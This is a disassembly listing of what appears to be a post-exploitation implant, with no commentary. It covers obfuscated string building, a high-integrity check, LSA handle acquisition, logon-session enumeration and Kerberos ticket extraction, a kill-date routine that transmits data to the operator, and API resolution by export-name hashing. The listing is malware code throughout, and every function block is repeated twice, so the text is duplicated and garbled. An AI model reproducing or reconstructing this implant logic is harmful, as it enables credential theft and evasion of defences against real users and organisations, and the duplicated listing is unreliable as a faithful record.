140016e27mov r8l, 193
140016e2dmov rdx, rdi
140016e30mov rcx, rbp
140016e33call printf
140016e38cmp [rbx+8], 1
140016e3djne 0x140016e99
140016e3flea rsi, [rip+0x1132f]
140016e46lea r9, [rip+0x11316]
140016e4dmov r8l, 197
140016e53mov rdx, rdi
140016e56mov rcx, rsi
140016e59call printf
140016e5emov rcx, [rbx+16]
140016e62test rcx, rcx
140016e65je 0x140016e7f
140016e67xor edx, edx
140016e69call SysNtSuspendThread
140016e6etest eax, eax
140016e70js 0x140016ea2
140016e72mov [rbx+10], 2
140016e78mov eax, 1
140016e7djmp 0x140016ea4
140016e7f
140016e7floc_140016e7f:
140016e7flea r9, [rip+0x11303]
140016e86mov r8l, 213
140016e8cmov rdx, rdi
140016e8fmov rcx, rsi
140016e92call printf
140016e97jmp 0x140016ea2
140016e99
140016e99loc_140016e99:
140016e99mov rbx, [rbx+32]
140016e9djmp 0x140016e16
140016ea2
140016ea2loc_140016ea2:
140016ea2xor eax, eax
140016ea4
140016ea4loc_140016ea4:
140016ea4add rsp, 40
140016ea8pop rbx
140016ea9pop rsi
140016eaapop rdi
140016eabpop rbp
140016eacret
140016df0
140016ead
140016ead // align 0x10
140016ead // align 0x10
140016eb0
140016eb0KeyExpansion:
140016eb0push rsi
140016eb1xor eax, eax
140016eb3push rbx
140016eb4
140016eb4loc_140016eb4:
140016eb4mov r8b, [rdx+rax]
140016eb8mov [rcx+rax], r8b
140016ebcmov r8b, [rdx+rax+1]
140016ec1mov [rcx+rax+1], r8b
140016ec6mov r8b, [rdx+rax+2]
140016ecbmov [rcx+rax+2], r8b
140016ed0mov r8b, [rdx+rax+3]
140016ed5mov [rcx+rax+3], r8b
140016edaadd rax, 4
140016edecmp rax, 32
140016ee2jne 0x140016eb4
140016ee4mov r11l, 8
140016eealea r10, [rip+0x1660f]
140016ef1lea rbx, [rip+0x15688]
140016ef8
140016ef8loc_140016ef8:
140016ef8mov esi, r11l
140016efbmovzx r9l, [rcx+28]
140016f00movzx r8l, [rcx+29]
140016f05movzx edx, [rcx+30]
140016f09movzx eax, [rcx+31]
140016f0dand esi, 7
140016f10jne 0x140016f32
140016f12mov sil, [r10+r8]
140016f16mov r8b, [r10+rdx]
140016f1amov dl, [r10+rax]
140016f1emov al, [r10+r9]
140016f22mov r9l, r11l
140016f25shr r9l, 3
140016f29xor sil, [rbx+r9]
140016f2dmov r9l, esi
140016f30jmp 0x140016f47
140016f32
140016f32loc_140016f32:
140016f32cmp esi, 4
140016f35jne 0x140016f47
140016f37mov r9b, [r10+r9]
140016f3bmov r8b, [r10+r8]
140016f3fmov dl, [r10+rdx]
140016f43mov al, [r10+rax]
140016f47
140016f47loc_140016f47:
140016f47xor r9b, [rcx]
140016f4axor r8b, [rcx+1]
140016f4einc r11l
140016f51add rcx, 4
140016f55xor dl, [rcx-2]
140016f58xor al, [rcx-1]
140016f5bmov [rcx+28], r9b
140016f5fmov [rcx+29], r8b
140016f63mov [rcx+30], dl
140016f66mov [rcx+31], al
140016f69cmp r11l, 60
140016f6djne 0x140016ef8
140016f6fpop rbx
140016f70pop rsi
140016f71ret
140016eb0
140016eb0KeyExpansion:
140016eb0push rsi
140016eb1xor eax, eax
140016eb3push rbx
140016eb4
140016eb4loc_140016eb4:
140016eb4mov r8b, [rdx+rax]
140016eb8mov [rcx+rax], r8b
140016ebcmov r8b, [rdx+rax+1]
140016ec1mov [rcx+rax+1], r8b
140016ec6mov r8b, [rdx+rax+2]
140016ecbmov [rcx+rax+2], r8b
140016ed0mov r8b, [rdx+rax+3]
140016ed5mov [rcx+rax+3], r8b
140016edaadd rax, 4
140016edecmp rax, 32
140016ee2jne 0x140016eb4
140016ee4mov r11l, 8
140016eealea r10, [rip+0x1660f]
140016ef1lea rbx, [rip+0x15688]
140016ef8
140016ef8loc_140016ef8:
140016ef8mov esi, r11l
140016efbmovzx r9l, [rcx+28]
140016f00movzx r8l, [rcx+29]
140016f05movzx edx, [rcx+30]
140016f09movzx eax, [rcx+31]
140016f0dand esi, 7
140016f10jne 0x140016f32
140016f12mov sil, [r10+r8]
140016f16mov r8b, [r10+rdx]
140016f1amov dl, [r10+rax]
140016f1emov al, [r10+r9]
140016f22mov r9l, r11l
140016f25shr r9l, 3
140016f29xor sil, [rbx+r9]
140016f2dmov r9l, esi
140016f30jmp 0x140016f47
140016f32
140016f32loc_140016f32:
140016f32cmp esi, 4
140016f35jne 0x140016f47
140016f37mov r9b, [r10+r9]
140016f3bmov r8b, [r10+r8]
140016f3fmov dl, [r10+rdx]
140016f43mov al, [r10+rax]
140016f47
140016f47loc_140016f47:
140016f47xor r9b, [rcx]
140016f4axor r8b, [rcx+1]
140016f4einc r11l
140016f51add rcx, 4
140016f55xor dl, [rcx-2]
140016f58xor al, [rcx-1]
140016f5bmov [rcx+28], r9b
140016f5fmov [rcx+29], r8b
140016f63mov [rcx+30], dl
140016f66mov [rcx+31], al
140016f69cmp r11l, 60
140016f6djne 0x140016ef8
140016f6fpop rbx
140016f70pop rsi
140016f71ret
140016eb0
140016f72
140016f72 // align 0x10
140016f72 // align 0x10
140016f80
140016f80KillDate:
140016f80sub rsp, 40
140016f84lea r9, [rip+0x105ed]
140016f8bmov r8l, 3226
140016f91lea rdx, [rip+0x15818]
140016f98lea rcx, [rip+61545]
140016f9fcall printf
140016fa4mov ecx, 93
140016fa9call PackageCreate
140016faemov rcx, rax
140016fb1call PackageTransmit
140016fb6xor ecx, ecx
140016fb8xor edx, edx
140016fbacall PackageTransmitAll
140016fbfxor ecx, ecx
140016fc1add rsp, 40
140016fc5jmp 0x14000aa10
140016f80
140016f80KillDate:
140016f80sub rsp, 40
140016f84lea r9, [rip+0x105ed]
140016f8bmov r8l, 3226
140016f91lea rdx, [rip+0x15818]
140016f98lea rcx, [rip+61545]
140016f9fcall printf
140016fa4mov ecx, 93
140016fa9call PackageCreate
140016faemov rcx, rax
140016fb1call PackageTransmit
140016fb6xor ecx, ecx
140016fb8xor edx, edx
140016fbacall PackageTransmitAll
140016fbfxor ecx, ecx
140016fc1add rsp, 40
140016fc5jmp 0x14000aa10
140016f80
140016fca
140016fca // align 0x10
140016fca // align 0x10
140016fd0
140016fd0Klist:
140016fd0push rbp
140016fd1xor r11l, r11l
140016fd4xor r9l, r9l
140016fd7xor r10l, r10l
140016fdamov rbp, rsp
140016fddpush r15
140016fdfpush r14
140016fe1xor r14l, r14l
140016fe4push r13
140016fe6xor r13l, r13l
140016fe9push r12
140016febxor r12l, r12l
140016feepush rdi
140016fefmov rdi, rdx
140016ff2push rsi
140016ff3xor esi, esi
140016ff5push rbx
140016ff6mov rbx, rcx
140016ff9mov ecx, 114
140016ffeand rsp, -16
140017002sub rsp, 192
140017009mov [rsp+128], r9
140017011mov [rsp+116], r10l
140017016mov [rsp+184], r11
14001701emov [rsp+136], r11
140017026mov [rsp+164], r11
14001702emov [rsp+176], 0x90008
140017039mov [rsp+172], esi
140017040mov [rsp+144], r12
140017048mov [rsp+120], r13l
14001704dmov [rsp+124], r13l
140017052mov [rsp+155], r14
14001705amov [rsp+163], 0
140017062call HideChar
140017067mov ecx, 107
14001706cmov [rsp+160], al
140017073call HideChar
140017078xor ecx, ecx
14001707amov [rsp+155], al
140017081call HideChar
140017086mov ecx, 101
14001708bmov [rsp+163], al
140017092call HideChar
140017097mov ecx, 114
14001709cmov [rsp+156], al
1400170a3call HideChar
1400170a8mov ecx, 115
1400170admov [rsp+157], al
1400170b4call HideChar
1400170b9mov ecx, 98
1400170bemov [rsp+162], al
1400170c5call HideChar
1400170camov ecx, 111
1400170cfmov [rsp+158], al
1400170d6call HideChar
1400170dbmov ecx, 101
1400170e0mov [rsp+161], al
1400170e7call HideChar
1400170ecmov [rsp+159], al
1400170f3lea rax, [rsp+155]
1400170fbmov [rsp+80], rax
140017100mov [rsp+184], rax
140017108test rbx, rbx
14001710bje 0x14001713b
14001710dmov rcx, rbx
140017110call IsHighIntegrity
140017115mov edx, eax
140017117test eax, eax
140017119jne 0x140017145
14001711blea r9, [rip+0x1128e]
140017122mov r8l, 623
140017128lea rdx, [rip+0x154d1]
14001712flea rcx, [rip+0x111d1]
140017136call printf
14001713b
14001713bloc_14001713b:
14001713bxor r12l, r12l
14001713exor esi, esi
140017140jmp 0x140017465
140017145
140017145loc_140017145:
140017145lea r8, [rsp+128]
14001714dmov rcx, rbx
140017150call GetLsaHandle
140017155mov r9l, eax
140017158test eax, eax
14001715ajs 0x14001716e
14001715cmov rax, [rsp+128]
140017164mov [rsp+88], rax
140017169test rax, rax
14001716cjne 0x140017184
14001716e
14001716eloc_14001716e:
14001716emov r8l, 630
140017174lea rdx, [rip+0x15485]
14001717blea rcx, [rip+0x11249]
140017182jmp 0x140017200
140017184
140017184loc_140017184:
140017184mov rsi, [rip+0x151e5]
14001718bmov rcx, [rsp+88]
140017190lea r8, [rsp+116]
140017195lea rdx, [rsp+176]
14001719dcall [rsi+1988]
1400171a3mov ecx, eax
1400171a5test eax, eax
1400171a7jns 0x1400171c8
1400171a9call [rsi+1452]
1400171afmov r8l, 637
1400171b5lea rdx, [rip+0x15444]
1400171bclea rcx, [rip+0x11269]
1400171c3mov r9l, eax
1400171c6jmp 0x140017200
1400171c8
1400171c8loc_1400171c8:
1400171c8lea rdx, [rsp+136]
1400171d0mov rcx, rdi
1400171d3call GetLogonSessionData
1400171d8mov r9l, eax
1400171dbtest eax, eax
1400171ddjs 0x1400171ec
1400171dfmov rdi, [rsp+136]
1400171e7test rdi, rdi
1400171eajne 0x14001720a
1400171ec
1400171ecloc_1400171ec:
1400171ecmov r8l, 644
1400171f2lea rdx, [rip+0x15407]
1400171f9lea rcx, [rip+0x11264]
140017200
140017200loc_140017200:
140017200call printf
140017205jmp 0x14001713b
14001720a
14001720aloc_14001720a:
14001720alea rax, [rsp+96]
14001720fxor r13l, r13l
140017212xor r12l, r12l
140017215mov [rsp+164], 14
140017220mov [rsp+72], rax
140017225
140017225loc_140017225:
140017225cmp r13l, [rdi+8]
140017229jae 0x140017460
14001722fmov rax, [rdi]
140017232lea r14, [8*r13]
14001723acmp [rax+8*r13], 0
14001723fje 0x140017458
140017245mov edx, 7216
14001724amov ecx, 64
14001724fcall [rsi+932]
140017255mov rbx, rax
140017258test rax, rax
14001725bje 0x140017458
140017261mov rax, [rdi]
140017264mov rcx, rbx
140017267mov rdx, [rax+r14]
14001726bcall CopySessionInfo
140017270test r12, r12
140017273jne 0x140017284
140017275xor r8l, r8l
140017278mov r12, rbx
14001727bmov [rbx+7208], r8
140017282jmp 0x14001729d
140017284
140017284loc_140017284:
140017284mov rax, r12
140017287
140017287loc_140017287:
140017287mov rdx, rax
14001728amov rax, [rax+7208]
140017291test rax, rax
140017294jne 0x140017287
140017296mov [rdx+7208], rbx
14001729d
14001729dloc_14001729d:
14001729dmov rax, [rdi]
1400172a0mov rcx, [rax+r14]
1400172a4mov rax, [rcx+4]
1400172a8mov [rsp+168], rax
1400172b0call [rsi+2012]
1400172b6lea rax, [rsp+124]
1400172bbxor ecx, ecx
1400172bdmov edx, [rsp+116]
1400172c1mov [rsp+48], rax
1400172c6lea rax, [rsp+120]
1400172cbmov r9l, 12
1400172d1lea r8, [rsp+164]
1400172d9mov [rsp+40], rax
1400172delea rax, [rsp+144]
1400172e6mov [rsp+144], rcx
1400172eemov rcx, [rsp+88]
1400172f3mov [rsp+32], rax
1400172f8call [rsi+1956]
1400172femov ecx, eax
140017300test eax, eax
140017302jns 0x140017323
140017304call [rsi+1452]
14001730amov r8l, 686
140017310lea rdx, [rip+0x152e9]
140017317lea rcx, [rip+0x11173]
14001731emov r9l, eax
140017321jmp 0x14001734e
140017323
140017323loc_140017323:
140017323mov r9l, [rsp+124]
140017328cmp r9l, 0xffffffffc000005f
14001732fje 0x140017458
140017335test r9l, r9l
140017338jns 0x140017358
14001733amov r8l, 695
140017340lea rdx, [rip+0x152b9]
140017347lea rcx, [rip+0x11179]
14001734e
14001734eloc_14001734e:
14001734ecall printf
140017353jmp 0x140017458
140017358
140017358loc_140017358:
140017358cmp [rsp+144], 0
140017361je 0x140017458
140017367mov r15l, 8
14001736dxor r14l, r14l
140017370
140017370loc_140017370:
140017370mov rcx, [rsp+144]
140017378cmp r14l, [rcx+4]
14001737cjae 0x140017448
140017382mov edx, 4152
140017387mov ecx, 64
14001738ccall [rsi+932]
140017392test rax, rax
140017395je 0x14001743c
14001739bmov rdx, [rsp+144]
1400173a3mov rcx, rax
1400173a6mov [rsp+64], rax
1400173abadd rdx, r15
1400173aecall CopyTicketInfo
1400173b3mov rax, [rsp+64]
1400173b8movsxd rdx, r14l
1400173bbmov r9, [rsp+72]
1400173c0imul rdx, rdx, 96
1400173c4add rdx, [rsp+144]
1400173ccmov rcx, [rsp+88]
1400173d1movups x0, [rdx+40]
1400173d5lea rdx, [rax+4136]
1400173dcmov r8, [rsp+168]
1400173e4mov [rsp+40], rdx
1400173e9lea rdx, [rax+4128]
1400173f0mov [rsp+32], rdx
1400173f5mov edx, [rsp+116]
1400173f9movups [rsp+96], x0
1400173fecall ExtractTicket
140017403mov rdx, [rbx+7200]
14001740amov rax, [rsp+64]
14001740ftest rdx, rdx
140017412jne 0x14001741d
140017414mov [rbx+7200], rax
14001741bjmp 0x140017433
14001741d
14001741dloc_14001741d:
14001741dmov rcx, rdx
140017420mov rdx, [rdx+4144]
140017427test rdx, rdx
14001742ajne 0x14001741d
14001742cmov [rcx+4144], rax
140017433
140017433loc_140017433:
140017433xor edx, edx
140017435mov [rax+4144], rdx
14001743c
14001743cloc_14001743c:
14001743cinc r14l
14001743fadd r15, 96
140017443jmp 0x140017370
140017448
140017448loc_140017448:
140017448call [rsi+2012]
14001744exor eax, eax
140017450mov [rsp+144], rax
140017458
140017458loc_140017458:
140017458inc r13
14001745bjmp 0x140017225
140017460
140017460loc_140017460:
140017460mov esi, 1
140017465
140017465loc_140017465:
140017465mov rbx, [rsp+136]
14001746dtest rbx, rbx
140017470je 0x140017490
140017472mov rcx, [rbx]
140017475mov rdi, [rip+0x14ef4]
14001747ctest rcx, rcx
14001747fje 0x140017487
140017481call [rdi+940]
140017487
140017487loc_140017487:
140017487mov rcx, rbx
14001748acall [rdi+940]
140017490
140017490loc_140017490:
140017490mov rcx, [rsp+128]
140017498test rcx, rcx
14001749bje 0x1400174aa
14001749dmov rax, [rip+0x14ecc]
1400174a4call [rax+1996]
1400174aa
1400174aaloc_1400174aa:
1400174aamov rdi, [rsp+80]
1400174afmov ecx, 9
1400174b4xor eax, eax
1400174b6rep stosb [rdi], al
1400174b8test r12, r12
1400174bbje 0x1400174c1
1400174bdtest esi, esi
1400174bfjne 0x1400174c4
1400174c1
1400174c1loc_1400174c1:
1400174c1xor r12l, r12l
1400174c4
1400174c4loc_1400174c4:
1400174c4lea rsp, [rbp-56]
1400174c8mov rax, r12
1400174cbpop rbx
1400174ccpop rsi
1400174cdpop rdi
1400174cepop r12
1400174d0pop r13
1400174d2pop r14
1400174d4pop r15
1400174d6pop rbp
1400174d7ret
140016fd0
140016fd0Klist:
140016fd0push rbp
140016fd1xor r11l, r11l
140016fd4xor r9l, r9l
140016fd7xor r10l, r10l
140016fdamov rbp, rsp
140016fddpush r15
140016fdfpush r14
140016fe1xor r14l, r14l
140016fe4push r13
140016fe6xor r13l, r13l
140016fe9push r12
140016febxor r12l, r12l
140016feepush rdi
140016fefmov rdi, rdx
140016ff2push rsi
140016ff3xor esi, esi
140016ff5push rbx
140016ff6mov rbx, rcx
140016ff9mov ecx, 114
140016ffeand rsp, -16
140017002sub rsp, 192
140017009mov [rsp+128], r9
140017011mov [rsp+116], r10l
140017016mov [rsp+184], r11
14001701emov [rsp+136], r11
140017026mov [rsp+164], r11
14001702emov [rsp+176], 0x90008
140017039mov [rsp+172], esi
140017040mov [rsp+144], r12
140017048mov [rsp+120], r13l
14001704dmov [rsp+124], r13l
140017052mov [rsp+155], r14
14001705amov [rsp+163], 0
140017062call HideChar
140017067mov ecx, 107
14001706cmov [rsp+160], al
140017073call HideChar
140017078xor ecx, ecx
14001707amov [rsp+155], al
140017081call HideChar
140017086mov ecx, 101
14001708bmov [rsp+163], al
140017092call HideChar
140017097mov ecx, 114
14001709cmov [rsp+156], al
1400170a3call HideChar
1400170a8mov ecx, 115
1400170admov [rsp+157], al
1400170b4call HideChar
1400170b9mov ecx, 98
1400170bemov [rsp+162], al
1400170c5call HideChar
1400170camov ecx, 111
1400170cfmov [rsp+158], al
1400170d6call HideChar
1400170dbmov ecx, 101
1400170e0mov [rsp+161], al
1400170e7call HideChar
1400170ecmov [rsp+159], al
1400170f3lea rax, [rsp+155]
1400170fbmov [rsp+80], rax
140017100mov [rsp+184], rax
140017108test rbx, rbx
14001710bje 0x14001713b
14001710dmov rcx, rbx
140017110call IsHighIntegrity
140017115mov edx, eax
140017117test eax, eax
140017119jne 0x140017145
14001711blea r9, [rip+0x1128e]
140017122mov r8l, 623
140017128lea rdx, [rip+0x154d1]
14001712flea rcx, [rip+0x111d1]
140017136call printf
14001713b
14001713bloc_14001713b:
14001713bxor r12l, r12l
14001713exor esi, esi
140017140jmp 0x140017465
140017145
140017145loc_140017145:
140017145lea r8, [rsp+128]
14001714dmov rcx, rbx
140017150call GetLsaHandle
140017155mov r9l, eax
140017158test eax, eax
14001715ajs 0x14001716e
14001715cmov rax, [rsp+128]
140017164mov [rsp+88], rax
140017169test rax, rax
14001716cjne 0x140017184
14001716e
14001716eloc_14001716e:
14001716emov r8l, 630
140017174lea rdx, [rip+0x15485]
14001717blea rcx, [rip+0x11249]
140017182jmp 0x140017200
140017184
140017184loc_140017184:
140017184mov rsi, [rip+0x151e5]
14001718bmov rcx, [rsp+88]
140017190lea r8, [rsp+116]
140017195lea rdx, [rsp+176]
14001719dcall [rsi+1988]
1400171a3mov ecx, eax
1400171a5test eax, eax
1400171a7jns 0x1400171c8
1400171a9call [rsi+1452]
1400171afmov r8l, 637
1400171b5lea rdx, [rip+0x15444]
1400171bclea rcx, [rip+0x11269]
1400171c3mov r9l, eax
1400171c6jmp 0x140017200
1400171c8
1400171c8loc_1400171c8:
1400171c8lea rdx, [rsp+136]
1400171d0mov rcx, rdi
1400171d3call GetLogonSessionData
1400171d8mov r9l, eax
1400171dbtest eax, eax
1400171ddjs 0x1400171ec
1400171dfmov rdi, [rsp+136]
1400171e7test rdi, rdi
1400171eajne 0x14001720a
1400171ec
1400171ecloc_1400171ec:
1400171ecmov r8l, 644
1400171f2lea rdx, [rip+0x15407]
1400171f9lea rcx, [rip+0x11264]
140017200
140017200loc_140017200:
140017200call printf
140017205jmp 0x14001713b
14001720a
14001720aloc_14001720a:
14001720alea rax, [rsp+96]
14001720fxor r13l, r13l
140017212xor r12l, r12l
140017215mov [rsp+164], 14
140017220mov [rsp+72], rax
140017225
140017225loc_140017225:
140017225cmp r13l, [rdi+8]
140017229jae 0x140017460
14001722fmov rax, [rdi]
140017232lea r14, [8*r13]
14001723acmp [rax+8*r13], 0
14001723fje 0x140017458
140017245mov edx, 7216
14001724amov ecx, 64
14001724fcall [rsi+932]
140017255mov rbx, rax
140017258test rax, rax
14001725bje 0x140017458
140017261mov rax, [rdi]
140017264mov rcx, rbx
140017267mov rdx, [rax+r14]
14001726bcall CopySessionInfo
140017270test r12, r12
140017273jne 0x140017284
140017275xor r8l, r8l
140017278mov r12, rbx
14001727bmov [rbx+7208], r8
140017282jmp 0x14001729d
140017284
140017284loc_140017284:
140017284mov rax, r12
140017287
140017287loc_140017287:
140017287mov rdx, rax
14001728amov rax, [rax+7208]
140017291test rax, rax
140017294jne 0x140017287
140017296mov [rdx+7208], rbx
14001729d
14001729dloc_14001729d:
14001729dmov rax, [rdi]
1400172a0mov rcx, [rax+r14]
1400172a4mov rax, [rcx+4]
1400172a8mov [rsp+168], rax
1400172b0call [rsi+2012]
1400172b6lea rax, [rsp+124]
1400172bbxor ecx, ecx
1400172bdmov edx, [rsp+116]
1400172c1mov [rsp+48], rax
1400172c6lea rax, [rsp+120]
1400172cbmov r9l, 12
1400172d1lea r8, [rsp+164]
1400172d9mov [rsp+40], rax
1400172delea rax, [rsp+144]
1400172e6mov [rsp+144], rcx
1400172eemov rcx, [rsp+88]
1400172f3mov [rsp+32], rax
1400172f8call [rsi+1956]
1400172femov ecx, eax
140017300test eax, eax
140017302jns 0x140017323
140017304call [rsi+1452]
14001730amov r8l, 686
140017310lea rdx, [rip+0x152e9]
140017317lea rcx, [rip+0x11173]
14001731emov r9l, eax
140017321jmp 0x14001734e
140017323
140017323loc_140017323:
140017323mov r9l, [rsp+124]
140017328cmp r9l, 0xffffffffc000005f
14001732fje 0x140017458
140017335test r9l, r9l
140017338jns 0x140017358
14001733amov r8l, 695
140017340lea rdx, [rip+0x152b9]
140017347lea rcx, [rip+0x11179]
14001734e
14001734eloc_14001734e:
14001734ecall printf
140017353jmp 0x140017458
140017358
140017358loc_140017358:
140017358cmp [rsp+144], 0
140017361je 0x140017458
140017367mov r15l, 8
14001736dxor r14l, r14l
140017370
140017370loc_140017370:
140017370mov rcx, [rsp+144]
140017378cmp r14l, [rcx+4]
14001737cjae 0x140017448
140017382mov edx, 4152
140017387mov ecx, 64
14001738ccall [rsi+932]
140017392test rax, rax
140017395je 0x14001743c
14001739bmov rdx, [rsp+144]
1400173a3mov rcx, rax
1400173a6mov [rsp+64], rax
1400173abadd rdx, r15
1400173aecall CopyTicketInfo
1400173b3mov rax, [rsp+64]
1400173b8movsxd rdx, r14l
1400173bbmov r9, [rsp+72]
1400173c0imul rdx, rdx, 96
1400173c4add rdx, [rsp+144]
1400173ccmov rcx, [rsp+88]
1400173d1movups x0, [rdx+40]
1400173d5lea rdx, [rax+4136]
1400173dcmov r8, [rsp+168]
1400173e4mov [rsp+40], rdx
1400173e9lea rdx, [rax+4128]
1400173f0mov [rsp+32], rdx
1400173f5mov edx, [rsp+116]
1400173f9movups [rsp+96], x0
1400173fecall ExtractTicket
140017403mov rdx, [rbx+7200]
14001740amov rax, [rsp+64]
14001740ftest rdx, rdx
140017412jne 0x14001741d
140017414mov [rbx+7200], rax
14001741bjmp 0x140017433
14001741d
14001741dloc_14001741d:
14001741dmov rcx, rdx
140017420mov rdx, [rdx+4144]
140017427test rdx, rdx
14001742ajne 0x14001741d
14001742cmov [rcx+4144], rax
140017433
140017433loc_140017433:
140017433xor edx, edx
140017435mov [rax+4144], rdx
14001743c
14001743cloc_14001743c:
14001743cinc r14l
14001743fadd r15, 96
140017443jmp 0x140017370
140017448
140017448loc_140017448:
140017448call [rsi+2012]
14001744exor eax, eax
140017450mov [rsp+144], rax
140017458
140017458loc_140017458:
140017458inc r13
14001745bjmp 0x140017225
140017460
140017460loc_140017460:
140017460mov esi, 1
140017465
140017465loc_140017465:
140017465mov rbx, [rsp+136]
14001746dtest rbx, rbx
140017470je 0x140017490
140017472mov rcx, [rbx]
140017475mov rdi, [rip+0x14ef4]
14001747ctest rcx, rcx
14001747fje 0x140017487
140017481call [rdi+940]
140017487
140017487loc_140017487:
140017487mov rcx, rbx
14001748acall [rdi+940]
140017490
140017490loc_140017490:
140017490mov rcx, [rsp+128]
140017498test rcx, rcx
14001749bje 0x1400174aa
14001749dmov rax, [rip+0x14ecc]
1400174a4call [rax+1996]
1400174aa
1400174aaloc_1400174aa:
1400174aamov rdi, [rsp+80]
1400174afmov ecx, 9
1400174b4xor eax, eax
1400174b6rep stosb [rdi], al
1400174b8test r12, r12
1400174bbje 0x1400174c1
1400174bdtest esi, esi
1400174bfjne 0x1400174c4
1400174c1
1400174c1loc_1400174c1:
1400174c1xor r12l, r12l
1400174c4
1400174c4loc_1400174c4:
1400174c4lea rsp, [rbp-56]
1400174c8mov rax, r12
1400174cbpop rbx
1400174ccpop rsi
1400174cdpop rdi
1400174cepop r12
1400174d0pop r13
1400174d2pop r14
1400174d4pop r15
1400174d6pop rbp
1400174d7ret
140016fd0
1400174d8
1400174d8 // align 0x10
1400174d8 // align 0x10
1400174ed
1400174ed // align 0x10
1400174ed // align 0x10
1400174f0
1400174f0LdrFunctionAddr:
1400174f0push r15
1400174f2xor eax, eax
1400174f4push r14
1400174f6push r13
1400174f8push r12
1400174fapush rbp
1400174fbpush rdi
1400174fcpush rsi
1400174fdpush rbx
1400174fesub rsp, 88
140017502mov [rsp+56], rax
140017507mov [rsp+64], rax
14001750cmov [rsp+72], rax
140017511test rcx, rcx
140017514je 0x14001762a
14001751amov r9l, edx
14001751dtest edx, edx
14001751fje 0x14001762a
140017525movsxd rax, [rcx+60]
140017529mov rbx, rcx
14001752cxor esi, esi
14001752eadd rax, rcx
140017531mov ebp, [rax+136]
140017537mov eax, [rax+140]
14001753dadd rbp, rcx
140017540mov [rsp+44], eax
140017544mov r15l, [rbp+32]
140017548mov r13l, [rbp+28]
14001754cmov r14l, [rbp+36]
140017550mov r12l, [rbp+24]
140017554add r15, rcx
140017557
140017557loc_140017557:
140017557cmp esi, r12l
14001755ajae 0x140017611
140017560mov edi, [r15+4*rsi]
140017564xor edx, edx
140017566mov r8l, 1
14001756cmov [rsp+168], r9l
140017574add rdi, rbx
140017577mov rcx, rdi
14001757acall HashEx
14001757fmov r9l, [rsp+168]
140017587mov edx, eax
140017589lea rax, [rsi+1]
14001758dcmp edx, r9l
140017590jne 0x140017609
140017592add rsi, rsi
140017595add rsi, rbx
140017598movzx eax, [rsi+r14]
14001759dlea rax, [rbx+4*rax]
1400175a1mov edx, [rax+r13]
1400175a5add rdx, rbx
1400175a8mov [rsp+56], rdx
1400175adcmp rdx, rbp
1400175b0jae 0x1400175b9
1400175b2
1400175b2loc_1400175b2:
1400175b2mov rax, [rsp+56]
1400175b7jmp 0x14001762c
1400175b9
1400175b9loc_1400175b9:
1400175b9mov eax, [rsp+44]
1400175bdadd rax, rbx
1400175c0add rax, rbp
1400175c3cmp rdx, rax
1400175c6jae 0x1400175b2
1400175c8call StringLengthA
1400175cdmov [rsp+72], rdi
1400175d2mov [rsp+64], ax
1400175d7inc eax
1400175d9mov [rsp+66], ax
1400175demov rax, [rip+0x14d8b]
1400175e5mov rax, [rax+308]
1400175ectest rax, rax
1400175efje 0x14001762a
1400175f1xor r8l, r8l
1400175f4lea rdx, [rsp+64]
1400175f9lea r9, [rsp+56]
1400175femov rcx, rbx
140017601call rax
140017603test eax, eax
140017605jns 0x1400175b2
140017607jmp 0x14001762a
140017609
140017609loc_140017609:
140017609mov rsi, rax
14001760cjmp 0x140017557
140017611
140017611loc_140017611:
140017611mov r8l, 430
140017617lea rdx, [rip+0x154a2]
14001761elea rcx, [rip+0x12bcb]
140017625call printf
14001762a
14001762aloc_14001762a:
14001762axor eax, eax
14001762c
14001762cloc_14001762c:
14001762cadd rsp, 88
140017630pop rbx
140017631pop rsi
140017632pop rdi
140017633pop rbp
140017634pop r12
140017636pop r13
140017638pop r14
14001763apop r15
14001763cret
1400174f0
1400174f0LdrFunctionAddr:
1400174f0push r15
1400174f2xor eax, eax
1400174f4push r14
1400174f6push r13
1400174f8push r12
1400174fapush rbp
1400174fbpush rdi
1400174fcpush rsi
1400174fdpush rbx
1400174fesub rsp, 88
140017502mov [rsp+56], rax
140017507mov [rsp+64], rax
14001750cmov [rsp+72], rax
140017511test rcx, rcx
140017514je 0x14001762a
14001751amov r9l, edx
14001751dtest edx, edx
14001751fje 0x14001762a
140017525movsxd rax, [rcx+60]
140017529mov rbx, rcx
14001752cxor esi, esi
14001752eadd rax, rcx
140017531mov ebp, [rax+136]
140017537mov eax, [rax+140]
14001753dadd rbp, rcx
140017540mov [rsp+44], eax
140017544mov r15l, [rbp+32]
140017548mov r13l, [rbp+28]
14001754cmov r14l, [rbp+36]
140017550mov r12l, [rbp+24]
140017554add r15, rcx
140017557
140017557loc_140017557:
140017557cmp esi, r12l
14001755ajae 0x140017611
140017560mov edi, [r15+4*rsi]
140017564xor edx, edx
140017566mov r8l, 1
14001756cmov [rsp+168], r9l
140017574add rdi, rbx
140017577mov rcx, rdi
14001757acall HashEx
14001757fmov r9l, [rsp+168]
140017587mov edx, eax
140017589lea rax, [rsi+1]
14001758dcmp edx, r9l
140017590jne 0x140017609
140017592add rsi, rsi
140017595add rsi, rbx
140017598movzx eax, [rsi+r14]
14001759dlea rax, [rbx+4*rax]
1400175a1mov edx, [rax+r13]
1400175a5add rdx, rbx
1400175a8mov [rsp+56], rdx
1400175adcmp rdx, rbp
1400175b0jae 0x1400175b9
1400175b2
1400175b2loc_1400175b2:
1400175b2mov rax, [rsp+56]
1400175b7jmp 0x14001762c
1400175b9
1400175b9loc_1400175b9:
1400175b9mov eax, [rsp+44]
1400175bdadd rax, rbx
1400175c0add rax, rbp
1400175c3cmp rdx, rax
1400175c6jae 0x1400175b2
1400175c8call StringLengthA
1400175cdmov [rsp+72], rdi
1400175d2mov [rsp+64], ax
1400175d7inc eax
1400175d9mov [rsp+66], ax
1400175demov rax, [rip+0x14d8b]
1400175e5mov rax, [rax+308]
1400175ectest rax, rax
1400175efje 0x14001762a
1400175f1xor r8l, r8l
1400175f4lea rdx, [rsp+64]
1400175f9lea r9, [rsp+56]
1400175femov rcx, rbx
140017601call rax
140017603test eax, eax
140017605jns 0x1400175b2
140017607jmp 0x14001762a
140017609
140017609loc_140017609:
140017609mov rsi, rax
14001760cjmp 0x140017557
140017611
140017611loc_140017611:
140017611mov r8l, 430
140017617lea rdx, [rip+0x154a2]
14001761elea rcx, [rip+0x12bcb]
140017625call printf
14001762a
14001762aloc_14001762a:
14001762axor eax, eax
14001762c
14001762cloc_14001762c:
14001762cadd rsp, 88
140017630pop rbx
140017631pop rsi
140017632pop rdi
140017633pop rbp
140017634pop r12
140017636pop r13
140017638pop r14
14001763apop r15
14001763cret
1400174f0
14001763d
14001763d // align 0x10
14001763d // align 0x10
